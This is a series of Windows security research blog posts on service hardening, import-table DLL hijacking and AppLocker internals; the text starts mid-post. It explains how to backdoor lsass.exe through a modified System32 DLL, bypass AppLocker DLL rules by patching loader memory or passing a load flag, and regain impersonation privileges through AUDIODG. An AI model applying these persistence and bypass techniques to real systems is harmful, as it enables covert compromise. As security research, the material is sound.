Step 3: Collate the results based on the type of resource and whether write access was granted.
The reason for choosing to build a token for a non-existent service is it ensures we should only see the resources that could be shared by other services as the same user, not any resources which are actually designed to be accessible by being created by a service. These steps need to be repeated for different access tokens, we'll use the following five:
- LOCAL SERVICE
- LOCAL SERVICE, Write Restricted
- NETWORK SERVICE
- NETWORK SERVICE, Write Restricted
- Control
Experiment Procedure Detail
On to specific PowerShell steps to perform the experiment. First off you'll need my NtObjectManager module, specifically at least version 1.1.25 as I've added a few extra commands to simplify the process. You will also need to run all the commands as the SYSTEM user, some command will need it (such as getting access tokens) others benefit for the elevated privileges. From an admin command prompt you can create a SYSTEM PowerShell console using the following command:Start-Win32ChildProcess -RequiredPrivilege SeTcbPrivilege,SeBackupPrivilege,SeRestorePrivilege,SeDebugPrivilege powershell
This command will find a SYSTEM process to create the new process from which also has, at a minimum, the specified list of privileges. Due to the way the process is created it'll also have full access to the current desktop so you can spawn GUI applications running at system if you need them.
The experiment will be run on a VM of Windows 1909 Enterprise updated to December 2019 from a split-token admin user account. This just ensures the minimum amount of configuration changes and additional software is present. Of course there's going to be variability on the number of services running at any one time, there's not a lot which can be done about that. However it's expected that the result should be same even if the individual resources available are not. If you were concerned you could rerun the experiment on multiple different installs of Windows at different times of day and aggregate the results.
Creating the Access Tokens
$tokens = @()
$tokens += Get-ServiceToken LocalService FakeService
$tokens += Get-ServiceToken LocalService FakeService -WriteRestricted
$tokens += Get-ServiceToken NetworkService FakeService
$tokens += Get-ServiceToken NetworkService FakeService -WriteRestricted
For the control token we'll get the unmodified session access token for the current desktop. Even though we're running as SYSTEM as we're running on the same desktop we can just use the following command:
Random note. When calling LogonUserExExW and requesting a service SID as an additional group the call will fail with access denied. However this only happens if the service SID is the first NT Authority SID in the additional groups list. Putting any other NT Authority SID, including our new logon session SID before the service SID makes it work. Looking at the code in LSASRV (possibly the function LsapCheckVirtualAccountRestriction) it looks like the use of a service SID should be restricted to the first process (based on its PID) that used a service SID which would be the SCM. However if another NT Authority SID is placed first the checking loop sets a boolean flag which prevents the loop checking any more SIDs and so the service SID is ignored. I've no idea if this is a bug or not, however as you need TCB privilege to set the additional groups I don't think it's a security issue.
Resource Checking and Result Collation
Experiment Results
We now need to do our basic analysis of the results. Let's start with calculating the percentage of writable resources for each token type relative to the total number of resources. From my single experiment run I got the following table:Token | Writable | Writable (WR) | Total |
Control | 99.83% | N/A | 13171 |
Network Service | 65.00% | 0.00% | 300 |
Local Service | 62.89% | 0.70% | 574 |
As we expected the control token had almost 100% of the owned resources writable by the user. However for the two service accounts both had over 60% of their owned resources writable when using an unrestricted token. That level is almost completely eliminated when using a WR token, there were no writable resources for NS and only 4 resources writable from LS, which was less than 1%. Those 4 resources were just Events, from a service perspective not very exciting though there were ACL'ed to everyone which is unusual.
Just based on these numbers alone it would seem that WSH really is a failure when used unrestricted but is probably fine when used in WR mode. It'd be interesting to dig into what types are writable in the unrestricted mode to get a better understanding of where WSH is failing. This is what I've summarized in the following table:
Type | LS Writable% | LS Writable | NS Writable% | NS Writable |
Directory | 0.28% | 1 | 0.51% | 1 |
Event | 1.66% | 6 | 0.51% | 1 |
File | 74.24% | 268 | 48.72% | 95 |
Key | 22.44% | 81 | 49.23% | 96 |
Mutant | 0.28% | 1 | 0.51% | 1 |
Process | 0.28% | 1 | 0.00% | 0 |
Section | 0.55% | 2 | 0.00% | 0 |
SymbolicLink | 0.28% | 1 | 0.51% | 1 |
Thread | 0.00% | 0 | 0.00% | 0 |
The clear winners, if there is such a thing is Files and Registry Keys taking up over 95% of the resources which are writable. Based on what we know about how WSH works this is understandable. The likelihood is any keys/files are getting their security through inheritance from the parent container. This will typically result in at least the owner field being the service account granted WRITE_DAC access, or the inherited DACL will contain an OWNER CREATOR SID which results an explicit access for the service account.
What is perhaps more interesting is the results for Processes and Threads, neither NS or LS have any writable threads and only LS has a single writable process. This primary reason for the lack of writable threads and processes is due to the default DACL which is used for new processes when an explicit DACL isn't specified. The DACL has a OWNER RIGHTS SID granted only READ_CONTROL access, the result is that even if the owner of the resource is the service account it isn't possible to write to it. The only way to get full access as per the default DACL is by having the specific service SID in your group list.
Why does LS have one writable process? This I think is probably a "bug" in the Audio Service which creates the AUDIODG process. If we look at the security descriptor of the AUDIODG process we see the following:
<Owner>
- Name : NT AUTHORITY\LOCAL SERVICE
<DACL>
- Type : Allowed
- Name : NT SERVICE\Audiosrv
- Access: Full Access
- Type : Allowed
- Name : NT AUTHORITY\Authenticated Users
- Access: QueryLimitedInformation
The owner is LS which will grant WRITE_DAC access to the resource if nothing else is in the DACL to stop it. However the default DACL's OWNER RIGHTS SID is missing from the DACL, which means this was probably set explicitly by the Audio Service to grant Authenticated Users query access. This results in the access not being correctly restricted from other service accounts. Of course AUDIODG has SeImpersonatePrivilege so if you find yourself inside a LS unrestricted process with no impersonate privilege you can open AUDIODG (if running) for WRITE_DAC, change the DACL to grant full access and get back impersonate privileges.
If you look at the results one other odd thing you'll notice is that while there are readable threads there are no readable processes, what's going on? If we look at a normal LS service process' security descriptor we see the following:
<Owner>
- Name : NT AUTHORITY\LogonSessionId_0_202349
<DACL>
- Type : Allowed
- Name : NT AUTHORITY\LogonSessionId_0_202349
- Access: Full Access
- Type : Allowed
- Name : BUILTIN\Administrators
- Access: QueryInformation|QueryLimitedInformation
We should be able to see the reason, the owner is not LS, but instead the logon session SID which is unique per-service. This blocks other LS processes from having any access rights by default. Then the DACL only grants full access to the logon session SID, even administrators are apparently not the be trusted (though they can typically just bypass this using SeDebugPrivilege). This security descriptor is almost certainly set explicitly by the SCM when creating the process.
Is there anything else interesting in writable resources outside of the files and keys? The one interesting result shared between NS and LS is a single writable Object Directory. We can take a look at the results to find out what directories these are, to see if they share any common purpose. The directory paths are \Sessions\0\DosDevices\00000000-000003e4 for NS and \Sessions\0\DosDevices\00000000-000003e5 for LS. These are the service account's DOS Device directory, the default location to start looking up drive mappings. As the accounts can write to their respective directory this gives another angle of attack, you can compromise any service process running as the same used by dropping a mapping for the C: drive and waiting the process to load a DLL. Leaving that angle open seems sloppy, but it's not like there are no alternative routes to compromise another service.
I think that's the limit of my interest in analysis. I've put my results up on Google Drive here if you want to play around yourself.
Conclusions
Even though I've not run the experiment on multiple machines, at different times with different software I think I can conclude that WSH does not provide any meaningful security boundary when used in its default unrestricted mode. Based on the original hypothesis we can clearly write to resources not created by a service and therefore could likely fully compromise the system. The implementation does do a good job of securing process and thread resources which provide trivial elevation routes but that can be easily compromised if there's appropriate processes running (including some COM services). I can fully support this not being something MS would want to defend through issuing bulletins.However when used in WR mode WSH is much more comprehensive. I'd argue that as long as a service doesn't have impersonate privilege then it's effectively sandboxed if running in with a WR token. MS already support sandbox escapes as a defended boundary so I'm not sure why WR sandboxes shouldn't also be included as part of that. For example if the trick using the Task Scheduler worked from a WR service I'd see that as circumventing a security boundary, however I don't work in MSRC so I have no influence on what is or is not fixed.
Of course in an ideal world you wouldn't use shared accounts at all. Versions of Windows since 7 have support for Virtual Service Accounts where the service user is the service SID rather than a standard service account and the SCM even limits the service's IL to High rather than System. Of course by default these accounts still have impersonate privilege, however you could also remove that.
Practical Reverse Engineering Solutions
AuxKlibQueryModuleInformation
- HACKINGISCOOL
- PE Import Table hijacking as a way of achieving persistence - or exploiting DLL side loading
PE Import Table hijacking as a way of achieving persistence - or exploiting DLL side loading
Preface
In this post I describe a simple trick I came up with recently - something which is definitely nothing new, but as I found it useful and haven't seen it elsewhere, I decided to write it up.
What we want to achieve
So - let's consider backdooring a Windows executable with our own code by modifying its binary file OR one of its dependencies (so we are not talking about runtime code injection techniques or hooking, neither about abusing known persistence features like AppInit DLLs and the like).
Most of us are familiar with execution flow hijacking combined with:
- adding additional sections to the PE file (not very subtle), described in many places, e.g. here https://captmeelo.com/exploitdev/osceprep/2018/07/16/backdoor101-part1.html
- using code caves inside/replacing unused instructions with our own, without changing the target's size - like https://www.shellterproject.com does
We probably heard of IAT hooking (in-memory), but how about on-disk?
Import Table and DLL loading
Both EXE and DLL files make use of a PE structure called Import Table, which is basically a list of external functions (usually just WinAPI) the program is using, along with the names of the DLL files they are located in. This list can be easily reviewed with any PE analysis/editing tool like LordPE, PEView, PEStudio, PEBear and so on:
These are the runtime dependencies resolved by the Windows PE loader upon image execution, making the new process call LoadLibrary() on each of those DLL files. Then the relevant entries for each individual function are replaced with with its current address within the just-loaded library (the GetProcAddress() lookup) - this is the normal and usual way of having this done, taken care by the linker during build and then by the Windows loader using the Import Table.
I need to mention that the process can as well be performed directly by the program (instead of using the Import Table), by calling both LoadLibrary() and then GetProcAddress(), respectively from its own code at some point (everyone who wrote a windows shellcode knows this :D). This second way of loading DLLs and calling functions from them is sometimes referred to as dynamic linking (e.g. required for calling native APIs) and in many cases is a suspicious indicator (often seen in malicious software).
Anyway, let's focus on the Import Table and how we can abuse it.
Getting right to it - hijacking the Import Table and creating the malicious PoC DLL
WARNING: Please avoid experimenting with this on a production system before you develop and test a working PoC, especially when dealing with native Windows DLLs (you could break your system, you've been warned). Do it on a VM after making a backup snapshot first.
So, without any further ado, let's say that for some reason (🤭) we would like to inject our code into lsass.exe.
Let's start with having a procmon look to see what DLLs does lsass.exe load:
Now, we are going to slightly modify one of these DLLs.
When choosing, preferably we should go after one that is not signed (as we want to chose one with high chances of being loaded after our modification).
But in this case, to my knowledge, they are all signed (some with embedded signatures - with the Digital Signatures tab visible in the explorer properties of the file, others signed in the C:\Windows\System32\catroot\).
The execution policy on this system, however, is unrestricted... oh wait, that's what I thought up until finishing up this write up, but then for diligence, I decided to actually make a screenshot (after seeing it I was surprised it worked, please feel free to try this at home):
ANYWAY - WE WANT to see what happens OURSELVES - instead of making self-limiting assumptions, so we won't let the presence of the signature deteriorate us. Also, in case system decides that integrity is more critical than availability and decides to break, we have a snapshot of the PoC development VM.
The second factor worth considering when choosing the target DLL is the presence of an Import Table entry we would feel convenient replacing (will become self-explanatory).
So, let's choose C:\Windows\System32\cryptnet.dll (sha256: 723563F8BB4D7FAFF5C1B202902866F8A0982B14E09E5E636EBAF2FA9B9100FE):
Now, let's view its Import Table and see if there is an import entry, which is most likely not used - at least during normal operations. Therefore such an entry is the most safe to replace (I guess now you see where this is going). We could as well ADD an import table entry, but this is a bit more difficult, introduces more changes into the target DLL and is beyond this particular blog post.
Here we go:
api-ms-win-core-debug-l1-1-0.dll with its OutputDebugStringA is a perfect candidate.
As Import Tables contain only one reference to each particular DLL name, all relevant functions listed in the Import Table simply refer to such DLL name within the table.
Hence, if we replace a DLL that has multiple function entries in the Import Table, we would have multiple functions to either proxy or lose functionality and risk breaking something (depending on how lazy we are).
Thus, a DLL from which only one function is imported is a good candidate. If the DLL+function is a dependency that has most likely already been resolved by the original executable before it loaded the DLL we are modifying, it's even better. If it is a function that is most likely not to be called during normal operations (like debugging-related functions), it's perfect.
Now, let's work on a copy of the target DLL and apply a super l33t offensive binary hacking technique - hex editor. First, let's find the DLL name (we simply won't care about the Import Table structure):
Got it, looks good:
Now, our slight modification:
So now our api-ms-win-core-debug-l1-1-0.dll became api-ms-win-code-debug-l1-1-0.dll.
Let's confirm the Import Table change in PEView:
Now, let's fire up our favorite software development tool and create api-ms-win-code-debug-l1-1-0.dll with our arbitrary code.
Using a very simple demo, grabbing the current module name (the executable that loaded the DLL) and its command line, appending it into a txt file directly on C: (so by default only high integrity/SYSTEM processes will succeed):
One thing, though - in order for the GetModuleFileNameA() function from the psapi library (psapi.h) to properly link after compilation, -lpsapi needs to be added to the linker parameters:
Code can be copied from here https://github.com/ewilded/api-ms-win-code-debug-l1-1-0/blob/master/dllmain.c.
OK, compile. Now, notice we used one export, called OutputFebugString (instead of OutputDebugString). This is because the linker would complain about the name conflict with the original OutputDebugString function that will get resolved anyway through other dependencies.
But since I wanted to have the Export Table in the api-ms-win-code-debug-l1-1-0.dll to match the entry from the cryptnet.dll Import Table, I edited it with HxD as well:
After:
Normally we might want to test the DLL with rundll32.exe (but I am going to skip this part). Also, be careful when using VisualStudio, as it might produce an executable that by default will be x86 (and not x64) and for sure will produce an executable requiring visual C++ redistributables (even for a basic hello world-class application like this), while we might want to create portable code that will actually run on the target system.
What we are expecting to happen
We are expecting the lsass.exe process (and any other process that imports anything from cryptnet.dll) to load its tampered (by one byte!) version from its original location in spite of its digital signature being no longer valid (but again, lsass.exe and cryptnet.dll are just examples here).
We are also expecting that, once loaded, cryptnet.dll will resolve its own dependencies, including our phony api-ms-win-code-debug-l1-1-0.dll, which in turn, upon load (DllMain() execution) will execute our arbitrary code from within lsass.exe process (as well as from any other process that loads it, separately) and append our C:\poc.txt file with its image path and command line to prove successful injection into that process.
Deployment
OK, now we just need to deploy our version of cryptnet.dll (with the one Import Table entry hijacked with our phony api-ms-win-code-debug-l1-1-0.dll) along with our phony api-ms-win-code-debug-l1-1-0.dll itself into C:\Windows\System32\.
For this, obviously, we need elevated privileges (high integrity administrator/SYSTEM).
Even then, however, in this case we will face two problems (both specific to C:\Windows\System32\cryptnet.dll).
The first one is that C:\Windows\System32\cryptnet.dll is owned by TrustedInstaller and we (assuming we are not TrustedInstaller) do not have write/full control permissions for this file:
The easiest way to overcome this is to change the file ownership and then grant privileges:
The second problem we will most likely encounter is that the C:\Windows\System32\cryptnet.dll file is currently in use (loaded by multiple processes).
The easiest workaround for this is to first rename the currently used file:
Then deploy the new one (with hijacked Import Table), named the same as the original one (cryptnet.dll).
Below screenshot shows both new files deployed after having the original one renamed:
Showtime
Now, for diagnostics, let's set up procmon by using its cool feature - boot logging. Its driver will log events from the early stage of the system start process, instead of waiting for us to log in and run it manually. That boot log itself is, by the way, a great read:
Once we click Enable Boot Logging, we should see the following prompt:
We simply click OK.
Now, REBOOT!
And let's check the results.
This looks encouraging:
Oh yeah:
Let's run procmon to filter through the boot log. Upon running we should be asked for saving and loading the boot log, we click Yes:
Now, the previous filter (Process name is lsass.exe and Operation is Load Image) confirms that our phony DLL was loaded right after cryptnet.dll:
One more filter adjustment:
To once more confirm that this happened:
Why this can be fun
DLL side loading exploitation
This approach is a neat and reliable way of creating "proxy" DLLs out of the original ones (that differ by no more than one byte). Then we only might need to proxy one or few functions, instead of worrying about proxying all/most of them.
Persistence
Introducing injection/persistence of our own code into our favorite program's/service's EXE/DLL.
All with easy creation of the phony DLL (just write in C) and a simple byte replacement in an existing file, no asm required.
Windows Library Code
The Mysterious Case of a Broken Virus Scanner
Oddly it worked if I turned off DLL Rule Enforcement, but not when I enabled it again. My immediate thought might be the virus checking was trying to map the executable and somehow it was hitting the DLL verification callback and failing as the file was in my Downloads folder which is not in the default rule set. That seemed pretty unlikely, however clearly something was being blocked from running. Fortunately AppLocker maintains an Audit Log under "Applications and Services Logs -> Microsoft -> Windows -> AppLocker -> EXE and DLL" so we can quickly diagnose the failure.
The failing DLL load was for "%OSDRIVE%\PROGRAMDATA\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.18.1910.4-0\MPOAV.DLL". This makes sense, the default rules only permit %WINDOWS% and %PROGRAMFILES% for normal users, however %OSDRIVE%\ProgramData is not allowed. This is intentional as you don't want to grant access to locations a normal user could write to, so generally allowing all of %ProgramData% would be asking for trouble. [update:20191206] of course this is known about (I'm not suggesting otherwise), AaronLocker should allow this DLL by default.
I thought it'd at least be interesting to see why it fails and what MPOAV is doing. As the same failure occurred in both Edge (I didn't test IE) and Chrome it was clearly some common API they were calling. As Chrome is open source it made more sense to look there. Tracking down the resource string for the error lead me to this code. The code was using the Attachment Services API. Which is a common interface to verify downloaded files and attachments, apply MOTW and check for viruses.
When the IAttachmentExecute::Save method is called the file is checked for viruses using the currently registered anti-virus COM object which implements the IOfficeAntiVirus interface. The implementation for that COM class is in MPOAV.DLL, which as we saw is blocked so the COM object creation fails. And a failure to create the object causes the Save method to fail and the Attachment Services code to automatically delete the file so the browser can't even do anything about it such as ask the user. Ultra rude!
You might wonder how is this COM class is registered? An implementor needs to register their COM object with a Category ID of "{56FFCC30-D398-11d0-B2AE-00A0C908FA49}". If you have OleViewDotNet setup (note there are other tools) you can dump all registered classes using the following PowerShell command:
Get-ComCategory -CatId '56FFCC30-D398-11d0-B2AE-00A0C908FA49' | Select -ExpandProperty ClassEntries
On a default installation of Windows 10 you should find a single class, "Windows Defender IOfficeAntiVirus implementation" registered which is implemented in the MPOAV DLL. We can try and create the class with DLL enforcement to convince ourselves that's the problem:
No doubt this has been documented before (
This issue does demonstrate a common weakness with any application allow-listing solution. You've got to add a rule to allow this (probably undocumented) folder in your DLL rules. Or you could allow-list all Microsoft Defender certificates I suppose. Potentially both of these criteria could change and you end up having to fix random breakage which wouldn't be fun across a large fleet of machines. It also demonstrates a weird issue with attachment scanning, if your AV is somehow misconfigured things will break and there's no obvious reason why. Perhaps we need to move on from using outdated APIs to do this process or at least handle failure better.
Evading WinDefender ATP credential-theft: a hit after a hit-and-miss start
The Internals of AppLocker - Part 4 - Blocking DLL Loading
In the first three parts of this series I covered the basics of how AL blocked process creation. We can now tackle another, optional component, blocking DLL loading. If you dig into the Group Policy Editor for Windows you will find a fairly strong warning about enabling DLL rules for AL:
It seems MS doesn't necessarily recommend enabling DLL blocking rules, but we'll dig in anyway as I can't find any official documentation on how it works and it's always interesting to better understand how something works before relying on it.
We know from the part 1 that there's a policy for DLLs in the DLL.Applocker file. We might as well start with dumping the Security Descriptor from the file using the Format-AppLockerSecurityDescriptor function from part 3, to check it matches our expectations. The DACL is as follows:
- Type : AllowedCallback
- Name : Everyone
- Access: Execute|ReadAttributes|ReadControl|Synchronize
- Condition: APPID://PATH Contains "%WINDIR%\*"
- Type : AllowedCallback
- Name : Everyone
- Access: Execute|ReadAttributes|ReadControl|Synchronize
- Condition: APPID://PATH Contains "%PROGRAMFILES%\*"
- Type : AllowedCallback
- Name : BUILTIN\Administrators
- Access: Execute|ReadAttributes|ReadControl|Synchronize
- Condition: APPID://PATH Contains "*"
- Type : Allowed
- Name : APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES
- Access: Execute|ReadAttributes|ReadControl|Synchronize
- Type : Allowed
- Name : APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES
- Access: Execute|ReadAttributes|ReadControl|Synchronize
Nothing shocking here, just our rules written out in a security descriptor. However it gives us a hint that perhaps some of the enforcement is being done inside the kernel driver. Unsurprisingly if you look at the names in APPID you'll find a function called SrpVerifyDll. There's a good chance that's our target to investigate.
By chasing references you'll find the SrpVerifyDll function being called via a Device IO control code to an device object exposed by the APPID driver (\Device\SrpDevice). I'll save you the effort of reverse engineering, as it's pretty routine. The control code and input/output structures are as follows:
// 0x225804
#define IOCTL_SRP_VERIFY_DLL CTL_CODE(FILE_DEVICE_UNKNOWN, 1537, \
METHOD_BUFFERED, FILE_READ_DATA)
struct SRP_VERIFY_DLL_INPUT {
ULONGLONG FileHandle;
USHORT FileNameLength;
WCHAR FileName[ANYSIZE_ARRAY];
};
struct SRP_VERIFY_DLL_OUTPUT {
NTSTATUS VerifyStatus;
};
Looking at SrpVerifyDll itself there's not much to really note. It's basically very similar to the verification done for process creation I described in detail in part 2 and 3:
- An access check token is captured and duplicated. If the token is restricted query for the logon session token instead.
- The token is checked whether it can bypass policy by being SANDBOX_INERT or a service.
- Security attributes are gathered using AiGetFileAttributes on the passed in file handle.
- Security attributes set on token using AiSetTokenAttributes.
- Access check performed using policy security descriptor and status result written back to the Device IO Control output.
There is one big difference in step 1 where the token is captured over the one I documented in part 3. In process blocking if the current token was a non-elevated UAC token then the code would query for the full elevated token and use that to do the access check. This means that even if you were creating a process as the non-elevated user the access check was still performed as if you were an administrator. In DLL blocking this step does not take place, which can lead to a weird case of being able to create a process in any location, but not being able to load any DLLs in the same directory with the default policy. I don't know if this is intentional or Microsoft just don't care?
Who calls the Device IO Control to verify the DLL? To save me some effort I just set a breakpoint on SrpVerifyDll in the kernel debugger and then dumped the stack to find out the caller:
Easy, it's being called from the function SaferiIsDllAllowed which is being invoked from LdrLoadDll. This of course makes perfect sense, however it's interesting that NTDLL is calling a function in ADVAPI32, has MS never heard of layering violations? Let's look into LdrpMapDllNtFileName which is the last function in NTLL before the transition to ADVAPI32. The code which calls SaferiIsDllAllowed looks like the following:
NTSTATUS status;
if ((LoadInfo->LoadFlags & 0x100) == 0
&& LdrpAdvapi32DllHandle) {
status = LdrpSaferIsDllAllowedRoutine(
LoadInfo->FileHandle, LoadInfo->FileName);
}
The call to SaferiIsDllAllowed is actually made from a global function pointer. This makes sense as NTDLL can't realistically link directly to ADVAPI32. Something must be initializing these values, and that something is LdrpCodeAuthzInitialize. This initialization function is called during the loader initialization process before any non-system code runs in the new process. It first checks some registry keys, mostly importantly whether "\Registry\Machine\System\CurrentControlSet\Control\Srp\GP\DLL" has any sub-keys, and if so it proceeds to load the ADVAPI32 library using LdrLoadDll and query for the exported SaferiIsDllAllowed function. It stores the DLL handle in LdrpAdvapi32DllHandle and the function pointer 'XOR' encrypted in LdrpSaferIsDllAllowedRoutine.
Once SaferiIsDllAllowed is called the status is checked. If it's not STATUS_SUCCESS then the loader backs out and refuses to continue loading the DLL. It's worth reiterating how different this is from WDAC, where the security checks are done inside the kernel image mapping process. You shouldn't be able to even create a mapped image section which isn't allowed by policy when WDAC is enforced. However with AL loading a DLL is just a case of bypassing the check inside a user mode component.
If we look back at the calling code in LdrpMapDllNtFileName we notice there are two conditions which must be met before the check is made, the LoadFlags must not have the flag 0x100 set and LdrpAdvapi32DllHandle must be non-zero.
The most obvious condition to modify is LdrpAdvapi32DllHandle. If you already have code running (say VBA) you could use WriteProcessMemory to modify the memory location of LdrpAdvapi32DllHandle to be 0. Now any calls to LoadLibrary will not get verified and you can load any DLL you like outside of policy. In theory you might also be able to get the load of ADVAPI32 to fail. However unless LdrLoadDll returns STATUS_NOT_FOUND for the DLL load then the error causes the process to fail during initialization. As ADVAPI32 is in the known DLLs I can't see an easy way around this (I tried by renaming the main executable trick from the AMSI bypass).
The other condition, the LoadFlags is more interesting. There still exists a documented LOAD_IGNORE_CODE_AUTHZ_LEVEL flag you can pass to LoadLibraryEx which used to be able to bypass AppLocker DLL verification. However, as with SANDBOX_INERT this in theory was limited to only System and TrustedInstaller with KB2532445, although according to Stefan Kanthak it might not be blocked. That said I can't get this flag to do anything on Windows 10 1909 and tracing through LdrLoadDll it doesn't look like it's ever used. Where does this 0x100 flag come from then? Seems it's set by the LDrpDllCharacteristicsToLoadFlags function at the start of LdrLoadDll. Which looks like the following:
int LdrpDllCharacteristicsToLoadFlags(int DllCharacteristics) {
int load_flags = 0;
// ...
if (DllCharacteristics & 0x1000)
load_flags |= 0x100;
return load_flags;
}
If we pass in 0x1000 as a DllCharacteristics flag (this doesn't seem to work by putting it in the DLL PE headers as far as I can tell) which is the second parameter to LdrLoadDll then the DLL will not be verified against the DLL policy. The DLL Characteristic flag 0x1000 is documented as IMAGE_DLLCHARACTERISTICS_APPCONTAINER but I don't know what API sets this flag in the call to LdrLoadDll. My original guess was LoadPackagedLibrary but that doesn't seem to be the case.
A simple PowerShell script to test this flag is below:
If you run Start-Dll "Path\To\Any.DLL" where the DLL is not in an allowed location you should find it fails. However if you run Start-Dll "Path\To\Any.DLL" 0x1000 you'll find the DLL now loads.
Of course realistically the DLL blocking is really more about bypassing the process blocking by using the DLL loader instead. Without being able to call LdrLoadDll or writing to process memory it won't be easy to bypass the DLL verification (but of course it will not impossible).
This is the last part on AL for a while, I've got to do other things. I might revisit this topic later to discuss AppX support, SmartLocker and some other fun tricks.
The Internals of AppLocker - Part 3 - Access Tokens and Access Checking
In the last part I outlined how process creation is blocked with AL. I crucially left out exactly how the rules are processed to determine if a particular user was allowed to create a process. As it makes more sense to do so, we're going to go in reverse order from how the process was described in the last post. Let's start with talking about the access check implemented by SrppAccessCheck.
Access Checking and Security Descriptors
- A SECURITY_SUBJECT_CONTEXT which identifies the caller's access tokens.
- A desired access mask.
- A GENERIC_MAPPING structure which allows the access check to convert generic access to object specific access rights.
- And most importantly, the Security Descriptor which describes the security of the resource being checked.
SECURITY_SUBJECT_CONTEXT Subject = {};
ObReferenceObjectByHandle(TokenHandle, &Subject.PrimaryToken);
DWORD SecurityOffset = *((DWORD*)Policy+4)
PSECURITY_DESCRIPTOR SD = Policy + SecurityOffset;
NTSTATUS AccessStatus;
if (!SeSrpAccessCheck(&Subject, FILE_EXECUTE,
&FileGenericMapping,
SD, &AccessStatus) &&
AccessStatus == STATUS_ACCESS_DENIED) {
return STATUS_ACCESS_DISABLED_BY_POLICY_OTHER;
}
return AccessStatus;
}
The code isn't very complex, first it builds a SECURITY_SUBJECT_CONTEXT structure manually from the access token passed in as a handle. It uses a policy pointer passed in to find the security descriptor it wants to use for the check. Finally a call is made to SeSrpAccessCheck requesting file execute access. If the check fails with an access denied error it gets converted to the AL specific policy error, otherwise any other success or failure is returned.
The only thing we don't really know in this process is what the Policy value is and therefore what the security descriptor is. We could trace through the code to find how the Policy value is set , but sometimes it's just easier to breakpoint on the function of interest in a kernel debugger and dump the pointed at memory. Taking the debugging approach shows the following:
Well, what do we have here? We've seen those first 4 characters before, it's the magic signature of the on-disk policy files from part 1. SeSrpAccessCheck is extracting a value from offset 16, which is used as an offset into the same buffer to get the security descriptor. Maybe the policy files already contain the security descriptor we seek? Writing some quick PowerShell I ran it on the Exe.AppLocker policy file to see the result:
Success, the security descriptor is already compiled into the policy file! The following script defines two functions, Get-AppLockerSecurityDescriptor and Format-AppLockerSecurityDescriptor. Both take a policy file as input and returns either a security descriptor object or formatted representation:
If we run Format-AppLockerSecurityDescriptor on the Exe.Applocker file we get the following output for the DACL (trimmed for brevity):
- Type : AllowedCallback
- Name : Everyone
- Access: Execute|ReadAttributes|ReadControl|Synchronize
- Condition: APPID://PATH Contains "%WINDIR%\*"
- Type : AllowedCallback
- Name : BUILTIN\Administrators
- Access: Execute|ReadAttributes|ReadControl|Synchronize
- Condition: APPID://PATH Contains "*"
- Type : AllowedCallback
- Name : Everyone
- Access: Execute|ReadAttributes|ReadControl|Synchronize
- Condition: APPID://PATH Contains "%PROGRAMFILES%\*"
- Type : Allowed
- Name : APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES
- Access: Execute|ReadAttributes|ReadControl|Synchronize
- Type : Allowed
- Name : APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES
- Access: Execute|ReadAttributes|ReadControl|Synchronize
We can see we have two ACEs which are for the Everyone group and one for the Administrators group. This matches up with the default configuration we setup in part 1. The last two entries are just there to ensure this access check works correctly when run from an App Container.
The most interesting part is the Condition field. This is a rarely used (at least for consumer version of the OS) feature of the security access checking in the kernel which allows a conditional expression evaluated to determine if an ACE is enabled or not. In this case we're seeing the SDDL format (documentation) but under the hood it's actually a binary structure. If we assume that the '*' acts as a globbing character then again this matches our rules, which let's remember:
- Allow Everyone group access to run any executable under %WINDIR% and %PROGRAMFILES%.
- Allow Administrators group to run any executable from anywhere.
In fact let's add policy entries for a hash and publisher and see what condition is set for them. Download a new policy file from this link and run the Set-AppLockerPolicy command in an admin PowerShell console. Then re-run Format-ApplockerSecurityDescriptor:
- Type : AllowedCallback
- Name : Everyone
- Access: Execute|ReadAttributes|ReadControl|Synchronize
- Condition: (Exists APPID://SHA256HASH) && (APPID://SHA256HASH Any_of {#5bf6ccc91dd715e18d6769af97dd3ad6a15d2b70326e834474d952753
118c670})
- Type : AllowedCallback
- Name : Everyone
- Access: Execute|ReadAttributes|ReadControl|Synchronize
- Flags : None
- Condition: (Exists APPID://FQBN) && (APPID://FQBN >= {"O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US\MICROSOFT® WINDOWS
® OPERATING SYSTEM\*", 0})
We can now see the two new conditional ACEs, for a SHA256 hash and the publisher subject name. Basically rinse and repeat as more rules and conditions are added to the policy they'll be added to the security descriptor with the appropriate ACEs. Note that the ordering of the rules are very important, for example Deny ACEs will always go first. I assume the policy file generation code correctly handles the security descriptor generation, but you can now audit it to make sure.
While we now understand how the rules are enforced, where does the values for the condition, such as APPID://PATH come from? If you read the (poor) documentation about conditional ACEs you'll find these values are Security Attributes. The attributes can be either globally defined or assigned to an access token. Each attribute has a name, then a list of one or more values which can be strings, integers, binary blobs etc. This is what AL is using to store the data in the access check token.
Let's go back a step and see what's going on with AiSetAttributesExe to see how these security attributes are generated.
Setting Token Attributes
- A handle to the executable file.
- Pointer to the current policy.
- Handle to the primary token of the new process.
- Handle to the token used for the access check.
- %WINDIR% - Windows Folder.
- %SYSTEM32% - Both System32 and SysWOW64 (on x64).
- %PROGRAMFILES% - Both Program Files and Program Files (x86).
- %OSDRIVE% - The OS install drive.
- %REMOVABLE% - Removable drive, such a CD or DVD.
- %HOT% - Hot-pluggable devices such as USB keys.
- APPID://SHA256HASH - Authenticode SHA256.
- APPID://SHA1HASH - Authenticode SHA1
- APPID://SHA256FLATHASH - SHA256 over entire file.
The Mystery of the Twin Tokens
- If the token is a non-elevated (UAC) token then use the full elevated token.
- If the token is 'restricted' and not a UAC token then use the logon session token.
- Otherwise use the primary token of the new process.
Case 2 is also interesting, a "restricted" token in this case is one which has been passed through the CreateRestrictedToken API and has restricted SIDs attached. This is used by various sandboxes especially Chromium's (and by extension anyone who uses it such as Firefox). Case 2 ensures that if the process token is restricted and therefore might not pass the access check, say the Everyone group is disabled, then the access check is done instead against the logon session's token, which is the master token from which all others are derived in a logon session.
If nothing else matches then case 3 kicks in and just assigns the primary token to the AccessCheckToken. There are edges cases in these rules. For example you can use CreateRestrictedToken to create a new access token with disabled groups, but which doesn't have restricted SIDs. This results in case 2 not being applied and so the access check is done against the limited token which could very easily fail to validate causing the process to be terminated.
